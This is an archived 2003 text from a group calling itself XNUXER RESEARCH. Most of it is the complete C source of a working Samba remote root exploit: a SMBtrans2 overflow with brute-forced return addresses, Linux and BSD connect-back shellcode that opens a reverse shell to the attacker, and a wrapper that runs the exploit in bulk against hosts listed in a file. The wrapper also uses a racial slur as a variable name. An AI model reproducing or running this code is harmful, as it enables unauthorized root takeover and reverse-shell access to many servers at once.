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TUCoPS :: Networks :: bt614.txt

Samba Remote Exploit with connect back method and bruteforce mode





DOCUMENT XNUXER RESEARCH:
=========================
May, 12st 2003

Organization     : XNUXER RESEARCH
Location         : Indonesia
Official Site    : http://infosekuriti.com (donation by fans)
Contact Email    : xnuxer@yahoo.com, xnuxer@hackermail.com
Description      : Samba Remote Root exploit with connectback 
                   method using bruteforce mode. Support for mass exploit.

When flaw in samba server deployed by Sebastian Khramer from SuSE Security Audit Team, in May, many exploit created by good teams of security research such as netric.org, 0x333.org and DigitalDefense. In all the team i really interest with sambal.c that created by Netric Security (netric.org) because Netric create them exploit can run with bruteforce mode although in connectback mode isn't supported by sambal, but sambal is powerfull. 

In May, 12st 2003 I try to modify sambal.c with some code so that support with bruteforce mode in connect back method. However connect back method is the best to entry firewall system level without rectricted in many system unix or linux.

I made my exploit to using bruteforce mode with connectback method with random
listen to prevent unable listen in same port and in same the time.  My exploit 
also support for mass exploit. This is my source:

/* 
 * Mass Samba Exploit by Schizoprenic
 * Xnuxer-Research (c) 2003
 * This code just for eduction purpose 
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>

void usage(char *s)
{
  printf("Usage: %s <inputfile> <your_ip>\n",s);
  exit(-1);
}

int main(int argc, char **argv)
{
  printf("Mass Samba Exploit by Schizoprenic\n");
  if(argc != 3) usage(argv[0]);
  scan(argv[1], argv[2]);
  return 0;
}

int scan(char *fl, char *bind_ip)
{
  FILE *nigger,*fstat;
  char buf[512];
  char cmd[100];
  int i;
  struct stat st;
   
  if((nigger=fopen(fl,"r")) == NULL) {
    fprintf(stderr,"File %s not found!\n", fl);
    return -1;
  }

  while(fgets(buf,512,nigger) != NULL)
  {
    if(buf[strlen(buf)-1]=='\n') buf[strlen(buf)-1]=0;
    for (i=0;i<4;i++) {
       sprintf(cmd, "./smb %d %s %s", i, buf, bind_ip);
       printf("\nTrying get root %s use type %d ...\n",buf,i);
       system(cmd);
       if (stat(".ROOT", &st) != -1) {
          unlink(".ROOT");
          break; 
       }
    }    
  }
  fclose(nigger);
  printf("\nMass exploiting finished.\n");
}


/*
 *  Samba Remote Root Exploit by Schizoprenic from Xnuxer-Labs, 2003.
 *  Using connect back method and brute force mode.
 *  I just create & modify some code and ripped too :P 
 *  Create on May, 12st 2003
 *
 *  Thanks to eDSee (netric.org), Sambal is nice exploit bro...
 *  References: trans2root.pl, 0x333hate.c, sambal.c
 *  This code just for eduction purpose 
 *
 *  XNUXER RESEARCH LABORATORY
 *  Official Site: http://infosekuriti.com
 *  Contact Email: xnuxer@yahoo.com, xnuxer@hackermail.com
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>

char
linux_connect_back[] =
    /* fork(), execve sh -c [client] [host to bounce to], term=xterm */
    "\x31\xc0\x31\xff\xb0\x02\xcd\x80\x39\xc7\x74\x7e\x31\xc0\x50"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x89\xe1\x50\x66\x68"
    "\x2d\x63\x89\xe3\x50\x66\x68\x73\x68\x89\xe0\x57\x51\x53\x50"
    "\x89\xe1\x31\xc0\x50\x66\x68\x72\x6d\x68\x3d\x78\x74\x65\x68"
    "\x54\x45\x52\x4d\x89\xe2\x50\x52\x89\xe2\x57\x68\x6e\x2f\x73"
    "\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80\x31\xc0\xb0"
    "\x01\xcd\x80"

    /* connect back shellcode (port=0xb0ef) */
    "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
    "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51"
    "\x68\x41\x42\x43\x44\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3"
    "\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
    "\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
    "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
    "\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f"
    "\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
    "\x01\xcd\x80";

char
bsd_connect_back[] =
    /* fork(), execve sh -c [client] [host to bounce to], term=xterm */
    "\x31\xc0\x31\xff\xb0\x02\xcd\x80\x39\xc7\x74\x7e\x31\xc0\x50"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
    "\x68\x20\x20\x20\x20\x89\xe1\x50\x66\x68\x2d\x63\x89\xe3\x50"
    "\x66\x68\x73\x68\x89\xe0\x57\x51\x53\x50\x89\xe1\x31\xc0\x50"
    "\x66\x68\x72\x6d\x68\x3d\x78\x74\x65\x68\x54\x45\x52\x4d\x89"
    "\xe2\x50\x52\x89\xe2\x57\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
    "\x69\x89\xe3\x50\x52\x51\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0"
    "\x01\xcd\x80"

    /* connect back shellcode (port=0xb0ef) */
    "\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"
    "\x61\xcd\x80\x31\xd2\x52\x52\x68\x41\x41\x41\x41\x66\x68\xb0\xef"
    "\xb7\x02\x66\x53\x89\xe1\xb2\x10\x52\x51\x50\x52\x89\xc2\x31\xc0"
    "\xb0\x62\xcd\x80\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80"
    "\x31\xc0\x50\x52\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x52"
    "\x50\xb0\x5a\xcd\x80\x31\xc0\x43\x53\x52\x50\xb0\x5a\xcd\x80\x31"
    "\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54"
    "\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

typedef struct {
	unsigned char type;
	unsigned char flags;
	unsigned short length;
} NETBIOS_HEADER;

typedef struct {
	unsigned char protocol[4];
	unsigned char command;
	unsigned short status;
	unsigned char reserved;
	unsigned char  flags;
	unsigned short flags2;
	unsigned char  pad[12];
	unsigned short tid;
	unsigned short pid;
	unsigned short uid;
	unsigned short mid;
} SMB_HEADER;

pid_t childs[50];
int LOOP = 1;
struct sockaddr_in serv_addr;
int sock_listen, client;
int exploit_pid;
int listen_pid;
int port_listen = 45295;

void 
usage(char *prog) 
{
int i;

   fprintf(stdout, "Samba < 2.2.8 Remote Root exploit by Schizoprenic\n"
                   "Connect back method, Xnuxer-Labs, 2003.\n"
                   "Usage  : %s <type> <victim> <your_ip>\n"
                   "Targets:\n"
                   "         0 = Linux\n"
                   "         1 = FreeBSD/NetBSD\n"
                   "         2 = OpenBSD 3.0 and prior\n"
                   "         3 = OpenBSD 3.2 - non-exec stack\n\n", prog);      
   exit(1);
}

int 
Connect(int fd, char *ip, unsigned int port, unsigned int time_out) 
{
	/* ripped from no1 */

	int                      flags;
	int                      select_status;
	fd_set                   connect_read, connect_write;
	struct timeval           timeout;
	int                      getsockopt_length = 0;
	int                      getsockopt_error = 0;
	struct sockaddr_in       server;
	bzero(&server, sizeof(server));
	server.sin_family = AF_INET;
	inet_pton(AF_INET, ip, &server.sin_addr);
	server.sin_port = htons(port);

	if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
		close(fd);
    		return -1;
  	}
  
	if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
		close(fd);
    		return -1;
  	}
  	
	timeout.tv_sec = time_out;
	timeout.tv_usec = 0;
	FD_ZERO(&connect_read);
	FD_ZERO(&connect_write);
	FD_SET(fd, &connect_read);
	FD_SET(fd, &connect_write);

	if((connect(fd, (struct sockaddr *) &server, sizeof(server))) < 0) {
		if(errno != EINPROGRESS) {
      			close(fd);
      			return -1;
    		}
  	}
	else {
		if(fcntl(fd, F_SETFL, flags) < 0) {
			close(fd);
      			return -1;
    		}
    		
		return 1;

	}

	select_status = select(fd + 1, &connect_read, &connect_write, NULL, &timeout);

	if(select_status == 0) {
		close(fd);
		return -1;

	}

	if(select_status == -1) {
		close(fd);
		return -1;
	}

	if(FD_ISSET(fd, &connect_read) || FD_ISSET(fd, &connect_write)) {
		if(FD_ISSET(fd, &connect_read) && FD_ISSET(fd, &connect_write)) {
			getsockopt_length = sizeof(getsockopt_error);

			if(getsockopt(fd, SOL_SOCKET, SO_ERROR, &getsockopt_error, &getsockopt_length) < 0) {
				errno = ETIMEDOUT;
				close(fd);
				return -1;
			}

			if(getsockopt_error == 0) {
				if(fcntl(fd, F_SETFL, flags) < 0) {
					close(fd);
					return -1;
				}
				return 1;
		        } 

			else {
				errno = getsockopt_error;
				close(fd);
				return (-1);
				}

			}
		}
	else {
		close(fd);
		return 1;
	}

	if(fcntl(fd, F_SETFL, flags) < 0) {
		close(fd);
		return -1;
	}
	return 1;
}

int 
read_timer(int fd, unsigned int time_out)
{

	/* ripped from no1 */

	int                      flags;
	int                      select_status;
	fd_set                   fdread;
	struct timeval           timeout;

	if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
		close(fd);
		return (-1);
	}

	if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
		close(fd);
		return (-1);
	}

	timeout.tv_sec = time_out;
	timeout.tv_usec = 0;
	FD_ZERO(&fdread);
	FD_SET(fd, &fdread);
	select_status = select(fd + 1, &fdread, NULL, NULL, &timeout);

	if(select_status == 0) {
		close(fd);
		return (-1);
	}

	if(select_status == -1) {
		close(fd);
		return (-1);
	}
  
	if(FD_ISSET(fd, &fdread)) {
  
  		if(fcntl(fd, F_SETFL, flags) < 0) {
			close(fd);
      			return -1;
    		}
    		
		return 1;
	
	} 
	else {
		close(fd);
		return 1;

	}
}

int
write_timer(int fd, unsigned int time_out)
{

	/* ripped from no1 */

	int                      flags;
	int                      select_status;
	fd_set                   fdwrite;
	struct timeval           timeout;

	if((flags = fcntl(fd, F_GETFL, 0)) < 0) {    
		close(fd);
		return (-1);
	}
	
	if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
		close(fd);
		return (-1);
  	}
  	
	timeout.tv_sec = time_out;
	timeout.tv_usec = 0;
	FD_ZERO(&fdwrite);
	FD_SET(fd, &fdwrite);

	select_status = select(fd + 1, NULL, &fdwrite, NULL, &timeout);

	if(select_status == 0) {
		close(fd);
		return -1;
	}
	
	if(select_status == -1) {
		close(fd);
		return -1;
	}

	if(FD_ISSET(fd, &fdwrite)) {
		if(fcntl(fd, F_SETFL, flags) < 0) {
			close(fd);
			return -1;
		}
		return 1;
	}
	else { 
		close(fd);
		return -1;
	}
}

int 
start_session(int sock)
{
	char buffer[1000];
	char response[4096];
	char session_data1[] 	= "\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01\x00\x00\x00\x00";
        char session_data2[] 	= "\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24\x25\x6e\x6f\x62\x6f\x64\x79"
		                  "\x00\x00\x00\x00\x00\x00\x00\x49\x50\x43\x24";
	
        NETBIOS_HEADER  *netbiosheader;
        SMB_HEADER      *smbheader;

	memset(buffer, 0x00, sizeof(buffer));

        netbiosheader   = (NETBIOS_HEADER *)buffer;
        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

        netbiosheader->type 	= 0x00;         /* session message */
        netbiosheader->flags 	= 0x00;
        netbiosheader->length 	= htons(0x2E);

        smbheader->protocol[0] 	= 0xFF;
        smbheader->protocol[1] 	= 'S';
        smbheader->protocol[2] 	= 'M';
        smbheader->protocol[3] 	= 'B';
        smbheader->command 	= 0x73;         /* session setup */
        smbheader->flags 	= 0x08;         /* caseless pathnames */
        smbheader->flags2 	= 0x01;         /* long filenames supported */
        smbheader->pid 		= getpid() & 0xFFFF;
	smbheader->uid          = 100;
        smbheader->mid 		= 0x01;

        memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data1, sizeof(session_data1) - 1);

	if(write_timer(sock, 3) == 1)
		if (send(sock, buffer, 50, 0) < 0) return -1;

	memset(response, 0x00, sizeof(response));

	if (read_timer(sock, 3) == 1)
		if (read(sock, response, sizeof(response) - 1) < 0) return -1;
	
        netbiosheader = (NETBIOS_HEADER *)response;
        smbheader     = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));

	//if (netbiosheader->type != 0x00) fprintf(stderr, "+ Recieved a non session message\n");

        netbiosheader   = (NETBIOS_HEADER *)buffer;
        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

        memset(buffer, 0x00, sizeof(buffer));

        netbiosheader->type     = 0x00;         /* session message */
        netbiosheader->flags    = 0x00;
        netbiosheader->length   = htons(0x3C);

        smbheader->protocol[0]  = 0xFF;
        smbheader->protocol[1]  = 'S';
        smbheader->protocol[2]  = 'M';
        smbheader->protocol[3]  = 'B';
        smbheader->command      = 0x70;         /* start connection */
	smbheader->pid          = getpid() & 0xFFFF;
	smbheader->tid		= 0x00;
        smbheader->uid          = 100;

	memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data2, sizeof(session_data2) - 1);

        if(write_timer(sock, 3) == 1)
                if (send(sock, buffer, 64, 0) < 0) return -1;

        memset(response, 0x00, sizeof(response));

        if (read_timer(sock, 3) == 1)
                if (read(sock, response, sizeof(response) - 1) < 0) return -1;

        netbiosheader = (NETBIOS_HEADER *)response;
        smbheader     = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));

        if (netbiosheader->type != 0x00) return -1;

        return 0;
}

int
exploit_normal(int sock, unsigned long ret, char *shellcode)
{

	char buffer[4000];
        char exploit_data[] =
                "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                "\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                "\x00\x00\x00\x90";

	int i = 0;
	unsigned long dummy = ret - 0x90;

        NETBIOS_HEADER  *netbiosheader;
        SMB_HEADER      *smbheader;

	memset(buffer, 0x00, sizeof(buffer));

        netbiosheader   = (NETBIOS_HEADER *)buffer;
        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

        netbiosheader->type             = 0x00;         /* session message */
        netbiosheader->flags            = 0x04;
        netbiosheader->length           = htons(2096);

        smbheader->protocol[0]          = 0xFF;
        smbheader->protocol[1]          = 'S';
        smbheader->protocol[2]          = 'M';
        smbheader->protocol[3]          = 'B';
        smbheader->command              = 0x32;         /* SMBtrans2 */
	smbheader->tid			= 0x01;
        smbheader->uid                  = 100;

	memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data), 0x90, 3000);

	buffer[1096] = 0xEB;
	buffer[1097] = 0x70;

	for (i = 0; i < 4 * 24; i += 8) {
		memcpy(buffer + 1099 + i, &dummy, 4);
		memcpy(buffer + 1103 + i, &ret,   4);
	}

        memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), 
			exploit_data, sizeof(exploit_data) - 1);
	memcpy(buffer + 1800, shellcode, strlen(shellcode));

	if(write_timer(sock, 3) == 1) {
		if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
		return 0;
	}

	return -1;
}

int
exploit_openbsd32(int sock, unsigned long ret, char *shellcode)
{
        char buffer[4000];

        char exploit_data[] =
                "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                "\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                "\x00\x00\x00\x90";

        int i = 0;
        unsigned long dummy = ret - 0x30;
        NETBIOS_HEADER  *netbiosheader;
        SMB_HEADER      *smbheader;

        memset(buffer, 0x00, sizeof(buffer));

        netbiosheader   = (NETBIOS_HEADER *)buffer;
        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

        netbiosheader->type             = 0x00;         /* session message */
        netbiosheader->flags            = 0x04;
        netbiosheader->length           = htons(2096);

        smbheader->protocol[0]          = 0xFF;
        smbheader->protocol[1]          = 'S';
        smbheader->protocol[2]          = 'M';
        smbheader->protocol[3]          = 'B';
        smbheader->command              = 0x32;         /* SMBtrans2 */
        smbheader->tid                  = 0x01;
        smbheader->uid                  = 100;

        memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data), 0x90, 3000);

	for (i = 0; i < 4 * 24; i += 4)
		memcpy(buffer + 1131 + i, &dummy, 4);
		
        memcpy(buffer + 1127, &ret,      4);

        memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
                        exploit_data, sizeof(exploit_data) - 1);

        memcpy(buffer + 1100 - strlen(shellcode), shellcode, strlen(shellcode));

        if(write_timer(sock, 3) == 1) {
                if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
                return 0;
        }

        return -1;
}


void shell(int sock)
{
 fd_set  fd_read;
 char buff[1024], *cmd="uname -a;id;\n";
 int n;

 send(sock, cmd, strlen(cmd), 0);

 while(1) {
  FD_SET(sock,&fd_read);
  FD_SET(0,&fd_read);

  if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;

  if( FD_ISSET(sock, &fd_read) ) {
   n=read(sock,buff,sizeof(buff));
   if (n == 0) {
       printf ("Connection closed.\n");
       exit(EXIT_FAILURE);
   } else if (n < 0) {
       perror("read remote");
       exit(EXIT_FAILURE);
   }
   write(1,buff,n);
  }

  if ( FD_ISSET(0, &fd_read) ) {
    if((n=read(0,buff,sizeof(buff)))<=0){
      perror ("read user");
      exit(EXIT_FAILURE);
    }
    write(sock,buff,n);
  }
 }
 close(sock); 
}

void GoAway() 
{
   exit(0);
}

void start_listen()
{
FILE *fstat;
int cpid;
   
LISTENER:

  bzero(&serv_addr, sizeof(serv_addr));
  serv_addr.sin_family=2;
  serv_addr.sin_addr.s_addr=0;
  serv_addr.sin_port=htons(port_listen); 
  sock_listen=socket(2,1,6);

  if(bind(sock_listen,(struct sockaddr *)&serv_addr,16)) 
  {   
      port_listen++;
      goto LISTENER;       
  }
   
  if(listen(sock_listen,1)) 
  {
      perror("listen");
      exit(1);
  }
   
  fprintf(stdout, "[+] Listen on port: %d\n",port_listen);
   
  cpid = fork();
 
  if (cpid) {
     client=accept(sock_listen,0,0);
     LOOP = 0;
     kill(SIGUSR2, exploit_pid);
     if (client > 0) {
        fprintf(stdout, "[+] Yeah, I have a root ....!\n"
                      "------------------------------\n");
        fstat=fopen(".ROOT", "a");  //needed by mass.c
        fclose(fstat);
        shell(client);
     }
     exit(0);
  }
}

int
main (int argc,char *argv[])
{
   char *shellcode = NULL;
   int typeos	= -1;
   int port		= 139;
   int sock		= 0;
   int i		= 0;
   int status	= 0;
   int m		= 0;
   int ip1		= 0;
   int ip2		= 0;
   int ip3		= 0;
   int ip4		= 0;
   int sta		= 0;
   int STEPS	= 512;
   int ENDLOOP    = 64;
   char *desc; 
   unsigned long MAX_CHILDS  = 40;
   unsigned long ret         = 0x0;
   unsigned short int  a_port;
   struct sockaddr_in addr1;
   struct hostent *he;
   struct stat st;
   
      if (argc != 4) usage(argv[0]);
   
      typeos = atoi(argv[1]);
      if (typeos > 3) {
          fprintf(stdout, "Os type out of list!\n");
          exit(1);
      }

      he = gethostbyname(argv[2]);

      if (he == NULL) {
          fprintf(stderr, "Unable to resolve\n");
          return -1;
      }

      listen_pid = getpid();
      start_listen();
      exploit_pid = listen_pid + 1;

      //fprintf(stdout, "[+] Listen pid: %d, exploit pid: %d\n", listen_pid,exploit_pid);

      sscanf(argv[3], "%d.%d.%d.%d", &ip1, &ip2, &ip3, &ip4);		
      linux_connect_back[171] = ip1; bsd_connect_back[162] = ip1;
      linux_connect_back[172] = ip2; bsd_connect_back[163] = ip2;
      linux_connect_back[173] = ip3; bsd_connect_back[164] = ip3;
      linux_connect_back[174] = ip4; bsd_connect_back[165] = ip4;
				
      fprintf(stdout, "[+] Connecting back to: [%d.%d.%d.%d:%d]\n", 
					ip1, ip2, ip3, ip4, port_listen);

      a_port = htons(port_listen);
      
      linux_connect_back[177]= (a_port) & 0xff;
      linux_connect_back[178]= (a_port >> 8) & 0xff;
      bsd_connect_back[168]= (a_port) & 0xff;
      bsd_connect_back[169]= (a_port >> 8) & 0xff;

      switch(typeos) {
      case 0:
              desc = "Linux";
              ret = 0xc0000000;
              shellcode = linux_connect_back;
              break;
      case 1:
              desc = "FreeBSD/NetBSD";
              ret = 0xbfc00000;
              shellcode = bsd_connect_back;
              break;
      case 2:
              desc = "OpenBSD 3.1 and prior";
              ret = 0xdfc00000;
              shellcode = bsd_connect_back;
              break;
      case 3:
              desc = "OpenBSD 3.2 non-exec stack";
              ret = 0x00170000;
              shellcode = bsd_connect_back;
              break;
      }

      fprintf(stdout, "[+] Target: %s\n", desc);
      memcpy(&addr1.sin_addr, he->h_addr, he->h_length);

      addr1.sin_family = AF_INET;
      addr1.sin_port	 = htons(port);	

      fprintf(stdout, "[+] Connected to [%s:%d]\n", (char *)inet_ntoa(addr1.sin_addr), port);
      fprintf(stdout, "[+] Please wait in seconds...!\n");

      signal(SIGUSR2, GoAway);
   
      for (i = 0; i < 50; i++) childs[i] = -1;
      i = 0; m = 0;

      while (LOOP) {

           if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
              fprintf(stderr, "[+] socket() error.\n");
              exit(-1);
           }

           ret -= STEPS; i++;
           if ((ret & 0xff) == 0x00 && typeos != 3) ret++;             

           m++; 
           //fflush(0);
           //fprintf(stdout, "[+] Return Address: 0x%08x [%02d]\n", (unsigned int)ret, m);

           usleep(150000);

           switch (childs[i] = fork()) {
           case 0:  
                  if (connect(sock, (struct sockaddr *)&addr1, sizeof(addr1)) == -1) { 
                      //fprintf(stderr, "[+] connect() error.\n");
                      close(sock);
                      exit(-1);
                  }
			
                 start_session(sock);
                 sleep(3);
		     		         
                 if (typeos != 3) {
                           if (exploit_normal(sock, ret, shellcode) < 0) {
                              //fprintf(stderr, " -> Failed.\n");
                              close(sock);
                              exit(-1);
                           }
                 } else {
                           if (exploit_openbsd32(sock, ret, shellcode) < 0) {
                              //fprintf(stderr, " -> Failed.\n");
                              close(sock);
                              exit(-1);
                           }
                  }
                  sleep(5);
                  close(sock);
                  exit(0);
                  break;
           case -1:
                  exit(-1);
                  break;
           default:
                  if (i > MAX_CHILDS - 2) {
                      wait(&status);
                      i--;
                  }
                  break;
           } 

           if (m == ENDLOOP) LOOP = 0;
      } 	   

      if (stat(".ROOT", &st) != -1) 
         kill(SIGUSR2, listen_pid);
      else {	
           fprintf(stdout, "[+] Dohh, exploit failed.\n");
	   close(client); close(sock_listen);
           kill(listen_pid, SIGUSR2);
	   sleep(2);
	   exit(0);
      }
}

-- 
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